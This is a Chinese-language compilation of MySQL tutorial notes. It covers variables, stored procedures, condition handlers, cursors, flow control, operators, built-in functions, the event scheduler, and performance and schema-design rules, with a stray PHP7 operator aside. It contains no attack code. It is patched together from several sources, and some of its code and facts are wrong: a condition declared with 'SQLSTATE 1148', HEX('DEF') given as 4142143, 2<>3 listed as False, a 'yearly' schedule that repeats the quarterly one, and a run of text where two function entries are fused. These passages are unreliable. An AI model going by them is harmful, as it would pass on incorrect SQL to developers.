MySQL变量一共有三种: 1.全局变量 全局变量又叫内置变量,是mysql数据库内置的变量,对所有连接都起作用,对所有客户端生效,只有super权限才可以设置全局变量 定义时以如下两种形式出现: set GLOBAL 变量名或set @@global.变量名 查看所有全局变量: show variables\G show global variables\G 查看某个全局变量: select @@变量名 修改全局变量: set 变量名=新值 character_set_client: mysql服务器的接收数据的编码 character_set_results: mysql服务器输出数据的编码 2.会话变量 只对连接的客户端有效,一旦客户端失去连接变量失效。 定义会话变量: set @变量=值 查看所有会话变量: show session variables\G 查看会话变量: select @变量 3.用户变量 以"@"开始,形式为"@变量名",用户变量跟MySQL客户端是绑定的,设置的变量只对当前用户使用的客户端生效 4.局部变量 作用范围在begin到end语句块之间。 在存储过程中使用的变量就叫局部变量。只要存储过程执行完毕,局部变量就丢失。 在该语句块里设置的变量declare语句专门用于定义局部变量。declare numeric number(8,2)【MySQL的数据类型,如:int,float,date,varchar(length)】 default 9.95; 变量赋值:SET 变量名 = 表达式值 [,variable_name= expression ...],set numeric=1.2或者SELECT 2.3 into @x; 【 定义变量 】 DECLARE 局部变量名1[,局部变量名2...] 数据类型 [默认值]; 默认值除了可以被声明为一个常数外,还可以被指定为一个表达式。如果没有DEFAULT子句,初始值为NULL DECLARE MYPARAM INT DEFAULT 100; 数据类型为MySQL的数据类型: 1、数值类型 TINYINT、SMALLINT、MDEIUMINT、INT INTEGER、BIGINT、FLOAT、DOUBLE、DECIMAL 2、日期时间类型 DATE、TIME、YEAR、DATETIME、TIMESTAMP 3、字符串类型 CHAR、VARCHAR、TINYBLOB、TINYTEXT、BLOB、TEXT、DEDIUMTEXT、LONGBLOB、LONGTEXTDECLARE语句要写在存储过程里面,否则会报错
【 变量���值 】
定义变量之后为变量赋值可以改变变量的默认值,MYSQL中使用SET语句为变量赋值
被SET的变量可能是子程序内的变量,或者是全局服务器变量,如系统变量或者用户变量
语法: SET 变量名 = 变量值 [,变量名= 变量值 ...]
// 声明3个变量
DECLARE var1,var2,var3 INT;
SET var1=10,var2=20;
SET var3=var1+var2;
MYSQL中还可以通过SELECT...INTO为一个或多个变量赋值
DECLARE NAME CHAR(50);
DECLARE id DECIMAL(8,2);
SELECT id,NAME INTO id ,NAME FROM t3 WHERE id=2;
#在MySQL客户端使用用户变量
SELECT 'Hello World' into @x;
SELECT @x;
SET @y='Goodbye Cruel World';
SELECT @y;
SET @z=1+2+3;
SELECT @z;
#在存储过程中使用用户变量
CREATE PROCEDURE GreetWorld() SELECT CONCAT(@greeting,' World');
SET @greeting='Hello';
CALL GreetWorld();
#在存储过程间传递全局范围的用户变量
CREATE PROCEDURE p1() SET @last_proc='p1';
CREATE PROCEDURE p2() SELECT CONCAT('Last procedure was ',@last_proc);
CALL p1();
CALL p2();
【 变量作用域 】
内部变量在其作用域范围内享有更高的优先权,当执行到end时,内部变量消失,不再可见了,在存储过程外再也找不到这个内部变量,但是可以通过out参数或将其值指派给会话变量来保存其值。
定义条件和处理程序
特定条件需要特定处理。这些条件可以联系到错误以及子程序中的一般流程控制。定义条件是事先定义程序执行过程中遇到的问题 处理程序定义了在遇到这些问题时候应当采取的处理方式,并且保证存储过程或函数在遇到警告或错误时能继续执行。 这样可以增强存储程序处理问题的能力,避免程序异常停止运行 【 定义条件 】 DECLARE condition_name CONDITION FOR[condition_type] [condition_type]: SQLSTATE[VALUE] sqlstate_value |mysql_error_code condition_name: 表示条件名称 condition_type: 表示条件的类型 sqlstate_value和mysql_error_code都可以表示mysql错误 sqlstate_value为长度5的字符串错误代码 mysql_error_code为数值类型错误代码 例如: ERROR1142(42000)中,sqlstate_value的值是42000,mysql_error_code的值是1142 这个语句指定需要特殊处理条件。他将一个名字和指定的错误条件关联起来。这个名字随后被用在定义处理程序的DECLARE HANDLER语句中 定义ERROR1148(42000)错误,名称为command_not_allowed,可以用两种方法定义 //方法一: 使用sqlstate_value DECLARE command_not_allowed CONDITION FOR SQLSTATE '42000' //方法二: 使用mysql_error_code DECLARE command_not_allowed CONDITION FOR SQLSTATE 1148 【 定义处理程序 】 MySQL中可以使用DECLARE关键字来定义处理程序。其基本语法如下: DECLARE handler_type HANDLER FOR condition_value[,...] sp_statement handler_type: CONTINUE | EXIT | UNDO condition_value: SQLSTATE [VALUE] sqlstate_value | condition_name | SQLWARNING | NOT FOUND | SQLEXCEPTION | mysql_error_code 其中handler_type参数指明错误的处理方式,该参数有3个取值: CONTINUE、EXIT和UNDO。 CONTINUE表示遇到错误不进行处理,继续向下执行; EXIT表示遇到错误后马上退出; UNDO表示遇到错误后撤回之前的操作,MySQL中暂时还不支持这种处理方式。 通常情况下,执行过程中遇到错误应该立刻停止执行下面的语句,并且撤回前面的操作。 但是MySQL中现在还不能支持UNDO操作。 因此遇到错误时最好执行EXIT操作。如果事先能够预测错误类型,并且进行相应的处理,那么可以执行CONTINUE操作。 condition_value参数指明错误类型,该参数有6个取值。 sqlstate_value和mysql_error_code与条件定义中的是同一个意思。 condition_name是DECLARE定义的条件名称。 SQLWARNING表示所有以01开头的sqlstate_value值。 NOT FOUND表示所有以02开头的sqlstate_value值。 SQLEXCEPTION表示所有没有被SQLWARNING或NOT FOUND捕获的sqlstate_value值。 sp_statement表示一些存储过程或函数的执行语句。定义处理程序的几种方式定义条件和处理程序
@X是一个用户变量,执行结果@X等于3,这表明MYSQL执行到程序的末尾。 如果DECLARE CONTINUE HANDLER FOR SQLSTATE '23000' SET @X2=1;,这一行不存在 第二个INSERT因PRIMARY KEY约束而失败之后,MYSQL可能已经采取EXIT策略,并且SELECT @X可能已经返回2 @X表示用户变量,使用SET语句为其赋值,用户变量与连接有关,一个客户端定义的变量不能被其他客户端所使用,即有作用域的,该客户端退出时,客户端连接的所有变量将自动释放 这里的变量跟SQLSERVER没有什么区别,都是用来存储临时值的 MYSQL这里的条件和预定义程序其实跟SQLSERVER的自定义错误是一样的
光标
MYSQL里叫光标,SQLSERVER里叫游标,MYSQL中光标只能在存储过程和函数中使用 查询语句可能查询出多条记录,在存储过程和函数中使用光标来逐条读取查询结果集中的记录。 光标的使用包括声明光标、打开光标、使用光标和关闭光标。光标必须声明在处理程序之前,并且声明在变量和条件之后。 1.声明光标 MySQL中使用DECLARE关键字来声明光标。其语法的基本形式如下: DECLARE cursor_name CURSOR FOR select_statement ; cursor_name参数表示光标的名称;select_statement参数表示SELECT语句的内容,返回一个用于创建光标的结果集 声明一个名为cur_employee的光标: DECLARE cur_employee CURSOR FOR SELECT name,age FROM employee ; 2.打开光标 MySQL中使用OPEN关键字来打开光标。其语法的基本形式如下: OPEN cursor_name ; 打开一个名为cur_employee的光标: OPEN cur_employee ; 3.使用光标 MySQL中使用FETCH关键字来使用光标。其语法的基本形式如下: FETCH cur_name INTO var_name[,var_name…] ; cursor_name参数表示光标的名称; var_name参数表示将光标中的SELECT语句查询出来的信息存入该参数中。var_name必须在声明光标之前就定义好。 使用一个名为cur_employee的光标,将查询出来的数据存入emp_name和emp_age这两个变量中,emp_name和emp_age必须在前面已经定义: FETCH cur_employee INTO emp_name,emp_age ; 4.关闭光标 MySQL中使用CLOSE关键字来关闭光标,关闭之后就不能使用FETCH来使用光标。其语法的基本形式如下: CLOSE cursor_name ; 关闭一个名为cur_employee的光标 CLOSE cur_employee ;
调用存储过程和函数
存储过程和存储函数都是存储在服务器端的SQL语句的集合,要使用这些已经定义好的存储过程和存储函数就必须要通过调用的方式来实现 存储过程是通过CALL语句来调用的。而存储函数的使用方法与MySQL内部函数的使用方法是一样的 执行存储过程和存储函数需要拥有EXECUTE权限 EXECUTE权限的信息存储在information_schema数据库下面的USER_PRIVILEGES表中 【 调用存储过程 】 MySQL中使用CALL语句来调用存储过程。调用存储过程后,数据库系统将执行存储过程中的语句,然后将结果返回给输出值。 CALL语句的基本语法形式: CALL sp_name([parameter[,…]]) ; 其中sp_name是存储过程的名称;parameter是指存储过程的参数。 CALL proc() 【 调用存储函数 】 在MySQL中存储函数的使用方法与MySQL内部函数的使用方法是一样的,即用户自己定义的存储函数与MySQL内部函数是一个性质的。
查看存储过程和函数
存储过程和函数创建以后,可以查看存储过程和函数的状态和定义。
通过SHOW STATUS语句来查看存储过程和函数的状态
也可以通过SHOW CREATE语句来查看存储过程和函数的定义。
通过查询information_schema数据库下的Routines表来查看存储过程和函数的信息
1、从information_schema.Routines表中查看存储过程和函数的信息
存储过程和函数的信息存储在information_schema数据库下的Routines表中。可以通过查询该表的记录来查询存储过程和函数的信息。
在information_schema数据库下的Routines表中,存储着所有存储过程和函数的定义。
如果使用SELECT语句查询Routines表中的存储过程和函数的定义时,一定要使用ROUTINE_NAME字段指定存储过程或函数的名称。否则将查询出所有的存储过程或函数的定义
其基本语法形式如下:
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME=' sp_name ' ;
其中ROUTINE_NAME字段中存储的是存储过程和函数的名称;sp_name参数表示存储过程或函数的名称
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='name_from_t3'
SELECT name FROM mysql.proc WHERE db='my_db01'; // 查询my_db01数据库中的procedure名称
SELECT routine_name FROM information_schema.routines WHERE routine_schema='my_db01'; // 同上
2、SHOW STATUS语句只能查看存储过程或函数是操作哪一个数据库、存储过程或函数的名称、类型、谁定义的、创建和修改时间、字符编码等信息,不能查询存储过程或函数的具体定义。如果需要查看详细定义,需要使用SHOW CREATE语句
SHOW { PROCEDURE | FUNCTION } STATUS [ LIKE ' pattern ' ] ;
SHOW FUNCTION STATUS LIKE '%name_from_t3%'
show procedure status // 显示数据库中所有存储的存储过程基本信息,包括所属数据库,存储过程名称,创建时间等
show procedure status where db='my_db01'\G // 查询my_db01数据库中的procedure详细信息
3、SHOW CREATE语句查看存储过程和函数的定义
MySQL中可以通过SHOW CREATE语句查看存储过程和函数的状态。其基本语法形式如下:
SHOW CREATE { PROCEDURE | FUNCTION } sp_name ;
SHOW CREATE FUNCTION name_from_t3
#查看存储过程详细信息
show create procedure my_db01.GetAllUsers\G // 数据库.存储过程名
删除存储过程和函数
DROP { PROCEDURE| FUNCTION } sp_name;
从MySQL的表格中删除一个或多个存储过程。不能在一个存储过程中删除另一个存储过程,只能调用另一个存储过程
删除存储过程Proc和存储函数name_from_t3:
DROP PROCEDURE Proc;
删除存储函数name_from_employee:
DROP FUNCTION name_from_t3;
删除完毕之后,查询information_schema.Routines来确认上面的删除是否成功
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='proc' OR ROUTINE_NAME='name_from_t3';
修改存储过程和函数
MySQL中通过ALTER PROCEDURE语句来修改存储过程,通过ALTER FUNCTION语句来修改存储函数。
这两个语句的结构是一样的,语句中的所有参赛都是一样的,而且它们与创建存储过程或函数的语句中的参数也是基本一样的。
修改存储过程和函数,只能修改他们的权限,目前MYSQL还不提供对已存在的存储过程和函数代码的修改
如果要修改只能通过先DROP掉,然后重新建立新的存储过程和函数来实现
MySQL中修改存储过程和函数的语句的语法形式如下:
ALTER {PROCEDURE | FUNCTION} sp_name [characteristic ...]
characteristic:
{ CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
| SQL SECURITY { DEFINER | INVOKER }
| COMMENT 'string'
其中sp_name参数表示存储过程或函数的名称;
characteristic参数指定存储函数的特性。
CONTAINS SQL表示子程序包含SQL语句,但不包含读或写数据的语句;
NO SQL表示子程序中不包含SQL语句;
READS SQL DATA表示子程序中包含读数据的语句;
MODIFIES SQL DATA表示子程序中包含写数据的语句。
SQL SECURITY { DEFINER | INVOKER }指明谁有权限来执行。
DEFINER表示只有定义者自己才能够执行;
INVOKER表示调用者可以执行。
COMMENT 'string'是注释信息。
MySQL流程控制语句
存储过程和函数中可以使用流程控制来控制语句的执行。 MySQL中可以使用IF语句、CASE语句、LOOP语句、LEAVE语句、ITERATE语句、REPEAT语句和WHILE语句来进行流程控制。 每个流程中可能包含一个单独语句,或者是使用BEGIN...END构造的复合语句,构造可以被嵌套 【 条件判断语句 】存储过程中的IF语句(if then elseif then else end if)存储过程中的case when then ELSE语句
【 LEAVE语句 】 LEAVE语句主要用于跳出循环控制。其语法形式如下: LEAVE label 其中label参数表示循环的标志。 【 ITERATE迭代 】 通过引用复合语句的标号来从新开始复合语句 ITERATE语句也是用来跳出循环的语句。但是,ITERATE语句是跳出本次循环,然后直接进入下一次循环。 ITERATE语句只可以出现在LOOP、REPEAT、WHILE语句内。 ITERATE语句的基本语法形式如下: ITERATE label 其中label参数表示循环的标志。#ITERATE循环执行count加1的操作,当count的值等于100时,则LEAVE语句跳出循环
【 循环语句 】 [label:] WHILE expression DO statements END WHILE [label] ; [label:] REPEAT statements UNTIL expression END REPEAT [label] ; [label:] LOOP statements END LOOP [label]; while循环: WHILE-DO…END-WHILE
REPEAT...END REPEAT,此语句的特点是执行操作后检查结果 REPEAT语句是有条件控制的循环语句,当满足特定条件时就会跳出循环语句
loop循环: LOOP...END LOOP LOOP语句可以使某些特定的语句重复执行实现一个简单的循环。但是LOOP语句本身没有停止循环的语句,必须是遇到LEAVE语句等才能停止循环。因为没有跳出循环的语句,这个循环成了一个死循环
MySQL存储过程中用到的运算符
【 算术运算符 】 + 加 SET var1=2+2; 4 - 减 SET var2=3-2; 1 * 乘 SET var3=3*2; 6 / 除 SET var4=10/3; 3.3333 DIV 整除 SET var5=10 DIV 3; 3 % 取模 SET var6=10%3 ; 1 【 比较运算符 】 > 大于 1 > 2 False < 小于 2 < 1 False <= 小于等于 2<=2 True >= 大于等于 3>=2 True BETWEEN 在两值之间 5 BETWEEN 1 AND 10 True NOT BETWEEN 不在两值之间 5 NOT BETWEEN 1 AND 10 False IN 在集合中 5 IN (1,2,3,4) False NOT IN 不在集合中 5 NOT IN (1,2,3,4) True = 等于 2=3 False <>,!= 不等于 2<>3 False <=> 严格比较两个NULL值是否相等 NULL<=>NULL True LIKE 简单模式匹配 "Guy Harrison" LIKE "Guy%" True REGEXP 正则式匹配 "Guy Harrison" REGEXP "[Gg]reg" False IS NULL 为空 0 IS NULL False IS NOT NULL 不为空 0 IS NOT NULL True PHP7中使用太空船操作符 太空船操作符又被称为组合比较运算符或结合比较符,它使用符号<=>表示,该操作符可以用于实现对两个变量的比较(不限制于数值类型的数据)。太空船操作符是PHP7引入的一个新功能,在PHP7中它用来比较两个表达式: 当第一个表达式分别小于、等于或大于第二个表达式时返回的值为-1、0或1 PHP7 太空船操作符的表达式为: $z = $x <=> $y; 上述代码所表达的意思如下: 如果$x > $y则$z的值为1 如果$x == $y则$z的值为0 如果$x < $y则$z的值为-1 print( 1 <=> 1); // 0 print( 1 <=> 2); // -1 print( 2 <=> 1); // 1 //float comparison print( 1.5 <=> 1.5); // 0 print( 1.5 <=> 2.5); // -1 print( 2.5 <=> 1.5); // 1 //string comparison print( "a" <=> "a"); // 0 print( "a" <=> "b"); // -1 print( "b" <=> "a"); // 1 【 逻辑运算符 】 与(AND) 或(OR) 异或(XOR) 【 位运算符 】 | 位或 & 位与 << 左移位 >> 右移位 ~ 位非(单目运算,按位取反)
MySQL存储过程的基本函数
【 字符串类 】
CHARSET(str) //返回字串字符集
CONCAT (string2 [,... ]) //连接字串
INSTR (string ,substring ) //返回substring首次在string中出现的位置,不存在返回0
LCASE (string2 ) //转换成小写
LEFT (string2 ,length ) //从string2中的左边起取length个字符
LENGTH (string ) //string长度
LOAD_FILE (file_name ) //从文件读取内容
LOCATE (substring ,string [,start_position ] ) 同INSTR,但可指定开始位置
LPAD (string2 ,length ,pad ) //重复用pad加在string开头,直到字串长度为length
LTRIM (string2 ) //去除前端空格
REPEAT (string2 ,count ) //重复count次
REPLACE (str ,search_str ,replace_str ) //在str中用replace_str替换search_str
RPAD (string2 ,length ,pad) //在str后用pad补充,直到长度为length
RTRIM (string2 ) //去除后端空格
STRCMP (string1 ,string2 ) //逐字符比较两字串大小,
SUBSTRING (str ,position [,length ]) //从str的position开始,取length个字符,
TRIM([[BOTH|LEADING|TRAILING] [padding] FROM]string2) //去除指定位置的指定字符
UCASE (string2 ) //转换成大写
RIGHT(string2,length) //取string2最后length个字符
SPACE(count) //生成count个空格
mysql中处理字符串时,默认第一个字符下标为1,即参数position必须大于等于1
SELECT SUBSTRING('abcd',0,2); //
SELECT SUBSTRING('abcd',1,2); // ab
【 数学类 】
ABS (number2 ) //绝对值
BIN (decimal_number ) //十进制转二进制
CEILING (number2 ) //向上取整
CONV(number2,from_base,to_base) //进制转换
FLOOR (number2 ) //向下取整
FORMAT (number,decimal_places ) //保留小数位数
HEX (DecimalNumber ) //转十六进制
LEAST (number ,number2 [,..]) //求最小值
MOD (numerator ,denominator ) //求余
POWER (number ,power ) //求指数
SIGN (number2 ) //正数返回1,负数返回-1
RAND([seed]) //随机数
ROUND (number [,decimals ]) //四舍五入,decimals为小数位数] 注: 返回类型并非均为整数,如:
#默认变为整型值
SELECT ROUND(1.23); // 1
SELECT ROUND(1.56); // 2
#设定小数位数,返回浮点型数据
SELECT ROUND(1.567,2); // 1.57
HEX()传入字符串则返回其ASCII码,如HEX('DEF')返回4142143
传入十进制整数则返回其十六进制编码,如HEX(25)返回19
【 日期时间类 】
ADDTIME (date2 ,time_interval ) //将time_interval加到date2
CONVERT_TZ (datetime2 ,fromTZ ,toTZ ) //转换时区
CURRENT_DATE ( ) //当前日期
CURRENT_TIME ( ) //当前时间
CURRENT_TIMESTAMP ( ) //当前时间戳
DATE (datetime ) //返回datetime的日期部分
DATE_ADD (date2 ,INTERVAL d_value d_type ) //在date2中加上日期或时间
DATE_FORMAT (datetime ,FormatCodes ) //使用formatcodes格式显示datetime
DATE_SUB (date2 ,INTERVAL d_value d_type ) //在date2上减去一个时间
DATEDIFF (date1 ,date2 ) //两个日期差
DAY (date ) //返回日期的天
DAYNAME (date ) //英文星期
DAYOFWEEK (date ) //星期(1-7) ,1为星期天
DAYOFYEAR (date ) //一年中的第几天
EXTRACT (interval_name FROM date ) //从date中提取日期的指定部分
MAKEDATE (year ,day ) //给出年及年中的第几天,生成日期串
MAKETIME (hour ,minute ,second ) //生成时间串
MONTHNAME (date ) //英文月份名
NOW ( ) //当前时间
SEC_TO_TIME (seconds ) //秒数转成时间
STR_TO_DATE (string ,format ) //字串转成时间,以format格式显示
TIMEDIFF (datetime1 ,datetime2 ) //两个时间差
TIME_TO_SEC (time ) //时间转秒数]
WEEK (date_time [,start_of_week ]) //第几周
YEAR (datetime ) //年份
DAYOFMONTH(datetime) //月的第几天
HOUR(datetime) //小时
LAST_DAY(date) //date的月的最后日期
MICROSECOND(datetime) //微秒
MONTH(datetime) //月
MINUTE(datetime) //分返回符号,正负或0
SQRT(number2) //开平方
存储过程实例
存储过程实践 - 格式化数据函数实践 - 从不规则的数据中截取时间戳Mysql架构及优化之-定时计划任务 定时器 事件调度器 EVENT
mysql事件调度器是将数据库按自定义的时间周期触发某种操作,区别于触发器 mysql计划任务可以定时更新数据库表或做大文件的汇总表 【 查看当前是否已开启事件计划(调度器)有3种方法 】 mysql> SHOW VARIABLES LIKE 'event_scheduler'; // 查看是否开启,off/0表示未开启 mysql> SELECT @@event_scheduler; mysql> SHOW PROCESSLIST; 【 关于事件计划的权限 】 单独使用event调用SQL语句时查看和创建需要用户具有event权限,调用该SQL语句时需要用户具有执行该SQL的权限。Event权限的设置保存在mysql.user表和mysql.db表的Event_priv字段中。(FLUSH PRIVILEGES;) 当event和procedure配合使用时,查看和创建存储过程需要用户具有create routine权限,调用存储过程执行时需要使用excute权限,存储过程调用具体的SQL语句时需要用户具有执行该SQL的权限。 SELECT HOST,USER,Event_priv FROM mysql.user; 获取当前登陆的用户和数据库: SELECT CURRENT_USER(),SCHEMA(); 给mysql用户赋予创建Event的权限: UPDATE mysql.user SET Event_priv = 'Y' WHERE HOST='%' AND USER='bfsql'; FLUSH PRIVILEGES; 可以通过SHOW GRANTS FOR 'bfsql'@'%';查看所有权限; 【 配置开启计划任务 】 mysql> SET GLOBAL event_scheduler = 1; mysql> SET @@global.event_scheduler = 1; mysql> SET GLOBAL event_scheduler = ON; mysql> SET @@global.event_scheduler = ON; 此次重启之后的mysql器件生效 修改my.ini event_scheduler =1 永久生效 【 语法 】 create event myevent on schedule at current_timestamp + interval 1 hour (周期或时间点) do update myschema.mytable set mycol = mycol + 1; (执行的sql) CREATE EVENT [IF NOT EXISTS] event_name ON SCHEDULE schedule [ON COMPLETION [NOT] PRESERVE] [ENABLE | DISABLE] [COMMENT 'comment'] DO sql_statement DO sql_statement表示该event需要执行的SQL语句或存储过程,SQL语句可以是复合语句,使用BEGIN和END标识符将复合SQL语句按照执行顺序放在之间使用定时器调用存储过程实例实例
【 周期或时间点语法 】
每1秒执行
on schedule every 1 second
10天后执行
on schedule at current_timestamp + interval 10 day
指定日期时间执行
on schedule at timestamp '2016-08-16 00:00:00'
每天凌晨3点执行
on schedule every 1 day
starts '2016-05-18 03:00:00' (设定从第二天凌晨3点开始)
每天定时执行,5天后停止执行
on schedule every 1 day
ends current_timestamp + interval 5 day
5天后开启每天定时清空test表,一个月后停止执行
on schedule every 1 day
starts current_timestamp + interval 5 day
ends current_timestamp + interval 1 month
从现在开始每隔九天定时执行
ON SCHEDULE EVERY 9 DAY STARTS NOW()
每个月的一号凌晨1点执行
on schedule every 1 month starts date_add(date_add(date_sub(curdate(),interval day(curdate())-1 day),interval 1 month),interval 1 hour);
每个季度一号的凌晨1点执行
on schedule every 1 quarter starts date_add(date_add(date(concat(year(curdate()),'-',elt(quarter(curdate()),1,4,7,10),'-',1)),interval 1 quarter),interval 1 hour);
每年1月1号凌晨1点执行
on schedule every 1 quarter starts date_add(date_add(date(concat(year(curdate()),'-',elt(quarter(curdate()),1,4,7,10),'-',1)),interval 1 quarter),interval 1 hour);
【 高级用法 】
执行多条sql,存储过程
delimiter |
create event B on schedule every 1 second
comment '计划任务注释'
do
begin
insert into smudge.fruit value ('banana');
insert into smudge.fruit value ('apple');
end |
delimiter ;
临时关闭事件
alter event smudge_insert disable;
alter event test_event on completion preserve disable;
临时开启事件
alter event smudge_insert enable;
alter event test_event on completion preserve enable;
删除计划任务
drop event smudge_insert;
mysql性能
高并发时系统太卡的优化 如果请求过多,判定web服务器的压力过大,增加前端的web服务器,做负载均衡 如果请求静态界面不卡了,但动态数据还卡,说明MySQL处理的请求太多了,在应用层增加缓存 数据库层是最脆弱的一层,一般在应用设计时在上游就需要把请求拦截掉,数据库层只承担能力范围内的访问请求,所以通过在服务层引入队列和缓存,让最底层的数据库高枕无忧。 但如果请求激增,还是有大量的查询压力到MySQL,这个时候就要想办法解决MySQL的瓶颈了 总结就是,系统优化的第一步绝对轮不到MySQL优化,之所以要做MySQL的集群,一般都是在做好了应用级别的缓存请求还是太多的情况下考虑的问题 【 mysql的三大范式 】 第一范式:确保每列的原子性(强调的是列的原子性,即列不能够再分成其他几列,每列都是不可再分的最小数据单元,也称为最小的原子单元). 例如:顾客表(姓名、编号、地址、……)中地址列还可以细分为国家、省、市、区等。 第二范式:在第一范式的基础上更进一层,目标是确保表中的每列都和主键相关,都依赖于该主键 一是表必须有一个主键;二是没有包含在主键中的列必须完全依赖于主键,而不能只依赖于主键的部分 例如:订单表(订单编号、产品编号、定购日期、价格、……),订单编号为主键,产品编号和主键列没有直接的关系,即产品编号列不依赖于主键列,应删除该列。 比如要设计一个订单信息表,因为订单中可能会有多种商品,所以要将订单编号和商品编号作为数据库表的联合主键,这样就产生一个问题: 这个表中是以订单编号和商品编号作为联合主键。这样在该表中商品名称、单位、商品价格等信息不与该表的主键相关,而仅仅是与商品编号相关。所以在这里违反了第二范式的设计原则。而如果把这个订单信息表进行拆分,把商品信息分离到另一个表中,把订单项目表也分离到另一个表中就非常完美了 第三范式:在第二范式的基础上更进一层,目标是确保每列都和主键列直接相关,而不是间接相关(另外非主键列必须直接依赖于主键,不能存在传递依赖) 如果一个关系满足第二范式,并且除了主键以外的其它列都不依赖于主键列,则满足第三范式 为了理解第三范式,需要根据Armstrong公里之一定义传递依赖。假设A、B和C是关系R的三个属性,如果A->B且B->C,则从这些函数依赖中可以得出A->C,如上所述依赖A->C是传递依赖。 例如:订单表(订单编号,定购日期,顾客编号,顾客姓名,……),初看该表没有问题,满足第二范式,每列都和主键列订单编号相关,细看会发现顾客姓名和顾客 编号相关,顾客编号和订单编号又相关,最后经过传递依赖,顾客姓名也和订单编号相关。为了满足第三范式,应去掉顾客姓名列,放入客户表中。 在设计一个订单数据表时可将客户编号作为一个外键和订单表建立相应的关系,而不可以在订单表中添加关于客户其它信息(比如姓名、所属公司等)的字段 【 数据库设计规范 】 1、命名规范 2、基本设计规范 所有表用Innodb存储引擎: 支持事务、行级锁、更好的恢复性、高并发的性能更好 所有表和字段添加注释(COMMENT从句) 尽量控制单表数据量,建议控制在500万以内。(不是MySQL的限制,是经验值) 处理方式: 历史数据归档、分库分表 谨慎使用MySQL分区表 分区表: 在物理上表现为多个文件,在逻辑上表现为一个表; 问题: 谨慎选择分区键,跨分区查询效率可能更低; 建议: 采用物理分表的方式管理大数据 尽量做到冷热数据分离,减小表的宽度 限制: 一个表最多4096列 减少磁盘IO,保证热数据的内存缓存命中率 利用更有效的缓存,避免读入无用的冷数据 建议: 经常一起用的列放在一个表中 禁止在表中建预留字段 无法见名识义、无法确定数据类型、MySQL修改预留字段比增加还麻烦,涉及对表的锁定 禁止在数据库中存储图片、文件等二进制数据 禁止在线上做数据库压力测试 禁止从开发或测试环境直接连接生产环境数据库 3、索引设计规范 限制每张表的索引数量,建议单表索引不超过5个 索引增加查询效率,但降低插入和更新效率 禁止给每一列都建立单独的索引 每个Innodb表必须有一个主键 不使用更新频繁的列作为主键,不使用多列主键,因为更新后就涉及对索引顺序的修改,频繁更新会导致频繁调整,导致降低性能 不使用UUID,md5,hash字符串作为主键,因为这类哈希不保证插入时递增的特性 建议: 使用自增ID值 在哪建立索引? 在SELECT, UPDATE, DELETE语句中的WHERE从句中的常出现的列 在ORDER BY, GROUP BY, DISTINCT中的字段 多表JOIN的关联列 建立索引的顺序? 区分度差不多的情况下,尽量把字段长度小的列放在联合索引的最左边 两者还差不多的情况下,使用最频繁的列放在联合索引的左侧 区分度最高的列放在联合索引的最左侧。区分度计算: Selectivity = Distinct Values / Total Number Rows,区分度最大的就是主键(区分度为1) 避免建立冗余索引和重复索引 重复索引例子: primary key(id),index(id),unique index(id)这三个就重复建立id的索引了 冗余索引例子: index(a,b,c),index(a,b),index(a)对于a来说就重复建立了。 对于频繁的查询优先考虑使用覆盖索引。 覆盖索引: 包含了所有查询字段的索引 避免Innodb表进行索引的二次查找 可以把随机IO变为顺序IO加快查询效率 4、字段设计规范 优先选择符合存储需要的最小的数据类型 将字符串转化为数字类型存储 非负的用无符号整形 VARCHAR(N)的N代表是字符数,不是字节数,使用UTF-8存储汉字 VARCHAR(255)=765个字节 过大的长度会消耗更多的内存 5、SQL开发规范 建议使用预编译语句进行数据库操作 只传参数,多次使用,执行更快 可避免动态SQL注入问题 避免数据类型的隐式转换 会导致索引失效 合理利用存在索引,而不是盲目增加索引 充分利用表上已经存在的索引 避免使用双%号的查询条件,如 a LIKE'%123%' 一个SQL只能利用到复合索引中的一列进行范围查询 使用LEFT JOIN或NOT EXISTS来优NOT IN操作(可能导致索引失效) 禁止跨库查询,程序连接不同的数据库使用不同的账号 为数据库迁移和分库分表留出余地 降低业务耦合度 避免安全风险 减少同数据库的交互次数 数据库更适合处理批量操作 合并多个操作,可以提高处理效率 使用IN代替OR IN的值不超过500个,IN的操作可以有效的利用索引 禁止使用ORDER BY rand()进行随机排序 会加载到内存再排序,消耗大量CPU和IO和内存 建议: 在程序中生成随机值,再获取数据 禁止在WHERE从句中队列进行函数转换和计算 导致无法使用索引 明显不会有重复值的用UNION ALL而不是UNION UNION会把所有数据放到临时表中后再进行去重操作 UNION ALL则不会做去重操作 拆分复杂的大SQL为多个小SQL 一个SQL只用一个CPU计算 拆分后可以并行执行 6、操作行为规范 超过100万行的批量写操作,要分批多次进行操作 之前提到的尽量合并操作是针对查询 大批量的可能会造成主从延迟 binlog日志为row格式时会产生大量的日志 避免产生大事务操作,造成锁定和大堵塞。 对大表数据结构的修改一定要谨慎,会造成严重的锁表操作。尤其是生产环境,是不能忍受的。 对于大表使用pt-online-schema-change(PERCONA公司的工具)修改表结构 复制出一个新表,再修改新表为原表名称 避免主从延迟 避免修改时的锁表 禁止程序使用super权限的账号 super可以在达到最大连接限制连上用户,但只能有一个super账号连接,应该交给DBA处理问题用,不应被程序占用 数据库账号遵循权限最小原则 只需要查询就别给其他操作权限 数据库账号只能在同一个DB下使用,不允许跨库 程序的账号原则上不允许有drop权限
MySQL数据库设计规范
以下所有规范会按照【高危】、【强制】、【建议】三个级别进行标注,遵守优先级从高到低。对于不满足【高危】和【强制】两个级别的设计,DBA会强制打回要求修改。
1、库名
【强制】库的名称必须控制在32个字符以内,相关模块的表名与表名之间尽量体现join的关系,如user表和user_login表。
【强制】库的名称格式: 业务系统名称_子系统名,同一模块使用的表名尽量使用统一前缀。
【强制】一般分库名称命名格式是库通配名_编号,编号从0开始递增,比如wenda_001以时间进行分库的名称格式是"库通配名_时间"
【强制】创建数据库时必须显式指定字符集,并且字符集只能是utf8或utf8mb4。创建数据库SQL举例: create database db1 default character set utf8mb4;
对象名称使用小写字母并用下划线分割
禁止使用MySQL保留关键字
见名识义,最好不超过32个字符,例如用户数据库,mcuserdb(公司+user+db),用户表,useraccount
临时表,以tmp为前缀,以日期为后缀
备份表,以bak为前缀,以日期为后缀
存储相同数据的列名和列类型必须一致,关联列类型相同用索引高效)
2、 表结构
【强制】表和列的名称必须控制在32个字符以内,表名只能使用字母、数字和下划线,一律小写。
【强制】表名要求模块名强相关,如师资系统采用"sz"作为前缀,渠道系统采用"qd"作为前缀等。
